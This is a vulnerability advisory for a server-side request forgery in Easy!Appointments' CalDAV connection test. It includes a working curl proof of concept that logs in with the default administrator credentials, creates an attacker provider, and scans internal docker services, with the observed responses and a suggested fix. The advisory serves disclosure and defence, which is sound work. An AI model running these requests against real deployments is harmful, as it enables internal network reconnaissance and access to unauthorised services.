Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment's internal network

Summary

Caldav::connect_to_server at application/controllers/Caldav.php:60 hands the request's caldav_url to a Guzzle REPORT call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment's network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON message field (Caldav.php:74-78), so the SSRF is semi-blind.

Preconditions

• Backend login on the target instance. Non-admin attackers supply their own provider_id and pass the per-row check at Caldav.php:52; admins can target any row.
• Default deployment per the project's own docker-compose.yml, which puts mysql, mailpit, phpmyadmin, baikal, openldap, phpldapadmin, and swagger-ui on the same docker network as php-fpm.

Details

// application/controllers/Caldav.php:45-82
public function connect_to_server(): void
{
    try {
        $provider_id = request('provider_id');
        $user_id = session('user_id');

        if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) {
            throw new RuntimeException('You do not have the required permissions for this task.');
        }

        $caldav_url = request('caldav_url');                                  // (*) attacker-controlled
        $caldav_username = request('caldav_username');
        $caldav_password = request('caldav_password');

        $this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password);  // (*) sink
        ...
    } catch (GuzzleException | InvalidArgumentException $e) {
        json_response([
            'success' => false,
            'message' => $e->getMessage(),                                    // (*) upstream body reflected
        ]);
    }
}

The per-row check at line 52 only constrains which provider record the caller may write to; it does not constrain where the outbound request lands. $caldav_url flows unchanged into Caldav_sync::test_connection at application/libraries/Caldav_sync.php:389, which calls get_http_client to construct a Guzzle client whose base_uri is the attacker URL (Caldav_sync.php:375-382), then issues REPORT against it via fetch_events at Caldav_sync.php:558. The only input check in get_http_client is filter_var($caldav_url, FILTER_VALIDATE_URL) at line 363, which validates the URL grammar - not the host - so loopback, RFC1918, link-local, and arbitrary internal hostnames pass.

When Guzzle raises RequestException, its getMessage() formats as Client error: `REPORT http://target/` resulted in a `405 Method Not Allowed` response: <body truncated to ~120 chars>. Caldav::connect_to_server returns that string verbatim in message. For ConnectException (port closed, DNS failure, TLS handshake error) the message names the host, port, and underlying cURL error number - enough to port-scan the deployment's network.

Proof of concept

Setup

1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:

   bash

   git clone https://github.com/alextselegidis/easyappointments
   cd easyappointments
   git checkout 1.5.2
   cp config-sample.php config.php
   docker compose up -d
   until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done

2. Run the console installer. The seed sets administrator's password to the literal string administrator (application/libraries/Instance.php:99):

   bash

   docker compose exec -T php-fpm php index.php console install

3. Log in as administrator (the project's session cookie is ea_session) and create an attacker provider. The default require_phone_number=1 setting makes phone_number mandatory:

   bash

   export ADMIN_JAR=/tmp/admin.cookies
   curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null
   CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR)
   curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \
     --data-urlencode "csrf_token=$CSRF" \
     --data-urlencode "username=administrator" \
     --data-urlencode "password=administrator" > /dev/null
   
   CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR)
   curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \
     --data-urlencode "csrf_token=$CSRF" \
     --data-urlencode 'provider[first_name]=Mal' \
     --data-urlencode 'provider[last_name]=Lory' \
     --data-urlencode 'provider[email]=mallory@x.test' \
     --data-urlencode 'provider[phone_number]=+10000000000' \
     --data-urlencode 'provider[timezone]=UTC' \
     --data-urlencode 'provider[language]=english' \
     --data-urlencode 'provider[settings][username]=mallory' \
     --data-urlencode 'provider[settings][password]=Attacker-pw-1' \
     --data-urlencode 'provider[settings][notifications]=0'
   export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \
     -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'")

4. Log in as the attacker into a dedicated cookie jar:

   bash

   export ATTACKER_JAR=/tmp/attacker.cookies
   curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null
   CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
   curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \
     --data-urlencode "csrf_token=$CSRF" \
     --data-urlencode "username=mallory" \
     --data-urlencode "password=Attacker-pw-1" > /dev/null

Exploit

1. The attacker probes the nginx container that fronts Easy!Appointments itself, hitting a 404 path. They pass their own $ATTACKER_ID so the row-ownership check at Caldav.php:52 succeeds; the URL has nothing to do with the row:

   bash

   CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
   curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \
     --data-urlencode "csrf_token=$CSRF" \
     --data-urlencode "provider_id=$ATTACKER_ID" \
     --data-urlencode "caldav_url=http://nginx/some/404/path" \
     --data-urlencode "caldav_username=x" \
     --data-urlencode "caldav_password=x"

   Observed (verified on a fresh docker compose up): {"success":false,"message":"Client error: \REPORT http://nginx/some/404/path/` resulted in a `404 Not Found` response:\n\n<!doctype html>\n<html lang="en" style="\n height: 100%;\n">\n<head>\n <meta charset="utf-8">\n <meta http-equiv="X- (truncated...)\n"}` - the upstream HTTP status and the first chunk of the response body are reflected in the JSON.

2. The attacker scans the docker network. Each target produces a distinct exception shape that fingerprints the service. The maintainer can paste the loop verbatim:

   bash

   for target in mysql:3306 swagger-ui:8080 mailpit:8025 phpmyadmin nonexistent.invalid; do
     CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
     printf '\n=== %s ===\n' "$target"
     curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \
       --data-urlencode "csrf_token=$CSRF" \
       --data-urlencode "provider_id=$ATTACKER_ID" \
       --data-urlencode "caldav_url=http://$target/" \
       --data-urlencode "caldav_username=x" \
       --data-urlencode "caldav_password=x"
   done

   Observed: mysql:3306 returns cURL error 1: Received HTTP/0.9 when not allowed - port open, not HTTP. swagger-ui:8080 returns Client error: \REPORT http://swagger-ui:8080/` resulted in a `405 Not Allowed` response: <html>\r\n<head><title>405 Not Allowed</title>...- port open, HTTP, nginx fronts it.mailpit:8025andphpmyadmin(port 80) return{"success":true}- port open, HTTP, the CalDAVREPORTwas accepted without a 4xx.nonexistent.invalidreturnscURL error 6: Could not resolve host`. Each shape lets the attacker enumerate which internal services exist.

Impact

• Confidentiality: Reaches arbitrary HTTP and HTTPS hosts reachable from the php-fpm container, including loopback, the docker network's mysql, mailpit, phpmyadmin, baikal, openldap services, and any RFC1918 / link-local IP on the host network.
• Confidentiality: Reads up to ~120 bytes of each upstream HTTP response and the exact connection-failure reason via the JSON message field, enough to fingerprint internal services and read short error pages, banners, or status documents.

Suggestions to fix

This has not been tested - it is illustrative only.

Reject non-http/https schemes and resolved private addresses before constructing the Guzzle client.

         $caldav_url = request('caldav_url');
+
+        $scheme = parse_url($caldav_url, PHP_URL_SCHEME);
+        $host   = parse_url($caldav_url, PHP_URL_HOST) ?: '';
+        $ip     = filter_var($host, FILTER_VALIDATE_IP) ?: gethostbyname($host);
+
+        if (!in_array($scheme, ['http', 'https'], true) || $ip === '' || $ip === $host
+            || !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
+            throw new InvalidArgumentException('CalDAV URL is not allowed.');
+        }
+
         $caldav_username = request('caldav_username');
         $caldav_password = request('caldav_password');

         $this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password);

Credit

Dredsen, 2026.